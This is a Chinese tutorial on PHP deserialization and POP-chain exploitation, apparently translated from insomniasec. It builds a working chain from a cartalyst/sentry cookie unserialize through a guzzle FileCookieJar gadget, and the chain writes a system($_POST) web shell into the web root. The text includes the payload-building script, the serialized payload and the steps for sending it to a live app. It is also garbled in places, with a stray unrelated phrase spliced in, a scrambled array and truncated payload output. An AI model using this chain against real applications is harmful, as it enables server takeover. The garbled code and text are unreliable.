ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例
ref:www.anquanke/post/id/84922
PHP反序列化漏洞成因及漏洞挖掘技巧与案例
⼀、序列化和反序列化
序列化和反序列化的⽬的是使得程序间传输对象会更加⽅便。序列化是将对象转换为字符串以便存储传输的⼀种⽅式。⽽反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使⽤。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。反序列化本⾝并不危险,但是如果反序列化时,传⼊反序列化函数的参数可以被⽤户控制那将会是⼀件⾮常危险的事情。不安全的进⾏反序列化造成的危害只有你想不到,没有他做不到,是的,没错。
序列化和反序列化的原理已经有很多⽂章了,这⾥就不赘述了。PHP的类有很多的 '魔术⽅法' ,⽐如:
__construct(), __destruct()
__call(), __callStatic()
__get(), __set()
__isset(), __unset()
__sleep(), __wakeup()
__toString()
__invoke()
__set_state()
__clone()
__debugInfo()
魔术⽅法是PHP⾯向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩⼦,利⽤模式⽅法可以轻松实现(Overloading即动态创建类属性和⽅法)。
问题就出现在重载过程中,执⾏了相关代码。
这么多的魔术⽅法中我们所需要关注的⽅法也就是__destruct() 和 __wakeup() ⽅法.这两个⽅法中前者是在对象被销毁时程序会⾃动调⽤,后者是在类对象被反序列化时被调⽤.所以这两个⽅法是在对象反序
列化⼀直到程序执⾏完毕这整个过程中,必定会被调⽤的⽅法,如果在这两个函数中有⼀些危险的动作,并且能够被我们所利⽤,那么漏洞并出现了。
⼆、反序列漏洞的利⽤思路
理论
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有⼀种漏洞利⽤⽅法叫做 "⾯向属性编程" ,即 POP( Property Oriented Programming)。和⼆进制漏洞中常⽤的ROP技术类似。在ROP中我们往往需要⼀段初始化gadgets来开始我们的整个利⽤过程,然后继续调⽤其他gadgets。在PHP反序列化漏洞利⽤技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() ⽅法, 在最理想的情况下能够实现漏洞利⽤的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调⽤到的所有函数,直⾄到可以利⽤的点为⽌。下⾯列举些在跟进其函数调⽤过程中需要关注⼀些很有价值的函数。
如果在跟进程序过程中发现这些函数就要打起精神,⼀旦这些函数的参数我们能够控制,就有可能出现⾼危漏洞.
Demo
所使⽤的代码。
DemoPopChain.php
<?php
class DemoPopChain{
private $data = “barn”;
private $filename = ‘/tmp/foo’;
public function __wakeup(){
$this->save($this->filename);
}
public function save($filename){
file_put_contents($filename, $this->data);
}
?>
unserialize.php
<?php
require(‘./DemoPopChain.php’);
unserialize(file_get_contents(‘./));
?>
这是⼀个很简单的具有反序列漏洞的代码,程序从⽂件中读取需要进⾏反序列化的字符串。这个我们可控。同时该⽂件还定义了⼀个 DemoPopChain 类,并且该类实现了 __wakeup 函数,然后在该函数中,⼜调⽤了save函数,其参数为类对象的filename属性值,然后在 save函数中调⽤了 file_put_contents 函数,该函数的两个参数分别为从save函数中传下来的 filename属性值和该对象的data属性值。⼜由于在反序列化的过程中被反序列化的对象的属性值是我们可控的,于是我们就通过对函数的嵌套调⽤和对象属性值的使⽤得到了⼀个任意⽂件写⼊任意内容的漏洞.这就是所谓的POP。就是
关注整个函数的调⽤过程中参数的传递情况,到可利⽤的点,这和⼀般的Web漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了对象中的属性值。
三、现实中查反序列化漏洞及构造exploit的⽅法
前置知识
PHP的 unserialize() 函数只能反序列化在当前程序上下⽂中已经被定义过的类.在传统的PHP中你需要通过使⽤⼀⼤串的include() 或者 require()来包含所需的类定义⽂件。于是后来出现了 autoloading 技术,他可以⾃动导⼊需要使⽤的类,再也不需要程序员不断地复制粘贴那些include代码了。这种技术同时也⽅便了我们的漏洞利⽤.因为在我们到⼀个反序列化点的时候我们所能使⽤的类就多了,那么实现漏洞利⽤的可能性也就更加⾼。
还有⼀个东西要提⼀下,那就是Composer,这是⼀个php的包管理⼯具,同时他还能⾃动导⼊所以依赖库中定义的类。这样⼀来 unserialize() 函数也就能使⽤所有依赖库中的类了,攻击⾯⼜增⼤不少。
1.Composer配置的依赖库存储在vendor⽬录下
2.如果要使⽤Composer的⾃动类加载机制,只需要在php⽂件的开头加上 require __DIR__ . '/vendor/autoload.php';
漏洞发现技巧
默认情况下  Composer 会从  Packagist下载包,那么我们可以通过审计这些包来到可利⽤的 POP链。
PHP链的基本思路.
1.在各⼤流⾏的包中搜索 __wakeup() 和 __destruct() 函数.
2.追踪调⽤过程
3.⼿⼯构造并验证 POP 链
4.开发⼀个应⽤使⽤该库和⾃动加载机制,来测试exploit.
构造exploit的思路
1.寻可能存在漏洞的应⽤
2.在他所使⽤的库中寻 POP gadgets
3.在虚拟机中安装这些库,将到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应⽤中进⾏测试.
Example
1. 寻可能存在漏洞的应⽤:  cartalyst/sentry
漏洞代码: /src/Cartalyst/Sentry/Cookies/NativeCookie.php
...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}
这⾥从 cookie中获取了值,然后直接将他序列化.
2.程序使⽤的库中的POP Gadgets: guzzlehttp/guzzle
Gadgets的最好的⼀个地⽅就是composer.json⽂件,他写明了程序需要使⽤的库.
{
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}
a.从git repo下载这些库
b.在其中搜索__wakeup() 和 __destruct() 函数
/guzzle/src/Cookie/FileCookieJar.php
namespace GuzzleHttpCookie;
class FileCookieJar extends CookieJar
...
public function __destruct()
{
$this->save($this->filename);
}
.
..
这⾥使⽤类对象的filename属性值作为参数传⼊了save函数.我们来看看save函数具体实现.
FileCookieJar->save()
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if ($cookie->getExpires() && !$cookie->getDiscard()) {
$json[] = $cookie->toArray();
}
}
if (false === file_put_contents($filename, json_encode($json))) {
throw new RuntimeException("Unable to save file {$filename}");
}
}
可以看到我们传⼊的参数最后是直接被作为要写⼊内容的⽂件的⽂件名.这下⽂件名可控了,如果我们再能够控制⽂件的内容就能实现getshell了.通过代码可以发现⽂件的内容为上⾯⼀层循环中来得到的数组经过json编码后得到的.⽽数组中的内容为 $cookie->toArray() ,那么我们得去到 $cookie对象是在哪定义的来确定他返回的值是什么,以及是否可利⽤.还有⼀点,我们还需要过掉那个判断才能给 json 数组赋值.所以我们需要关注的有三个点.
$cookie->getExpires()
!$cookie->getDiscard()
$json[] = $cookie->toArray()
spring framework rce漏洞复现我们并不知道$cookie 具体是什么类,我们可以通过搜索函数名,来定位这个类.通过这样定位到了SetCookie类.其代码如下.
namespace GuzzleHttpCookie;
class SetCookie
...
public function toArray(){
return $this->data;
}
...
public function getExpires(){
return $this->data['Expires'];
}
...
public function getDiscard(){
return $this->data['Discard'];
}
可以看到那三个⽅法只是简单的返回了data数组的特定键值.
3.搭建环境进⾏poc测试
⾸先在虚拟机⾥创建这样⼀个composer.json⽂件来安装提供POP gadgets的库.
{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}
之后使⽤这个⽂件安装库
然后使⽤这个库,来构造反序列化的payload
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$obj = new FileCookieJar('/var/www/html/shell.php');
$payload = '<?php echo system($_POST['poc']); ?>';
$obj->setCookie(new SetCookie([
'Name' => 'foo', 'Value'
'Domain' => $payload,
=> 'bar',
'Expires' => time()]));
file_put_contents('./built_payload_poc', serialize($obj));
运⾏这个⽂件得到payload
# php build_payload.php
# cat built_payload_poc
O:31:"GuzzleHttpCookieFileCookieJar":3:{s:41:"GuzzleHttpCookieFileCookieJarfilename";s:23:"/var/www/html/shell.php";s:36:"GuzzleHttpCookieCookieJarcookies";a:1:{i:1;O:27:"GuzzleHttpCookieSetCookie":1:{s:33:"GuzzleHttpCookieSetCooki 现在payload已经⽣成,我们在创建⼀个⽂件来测试这个payload的结果.
<?php
require __DIR__ . '/vendor/autoload.php';
unserialize(file_get_contents("./built_payload_poc"));
这个⽂件的内容很简单,就是把我们刚刚⽣成的payload反序列化.来看看效果
成功写⼊⼀个shell.
4.寻使⽤了这个漏洞库并且有反序列化操作的程序这⾥是cartalyst/sentry,然后拿POC去打就好.
演⽰:
⾸先⽹站⽬录没有shell.php⽂件
让我们将cartalyst_sentry的cookie值设为经过url编码的反序列化payload,然后发送到应⽤中去.
现在shell.php已经出现了
本⽂翻译⾃ insomniasec,。如若转载请注明出处。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。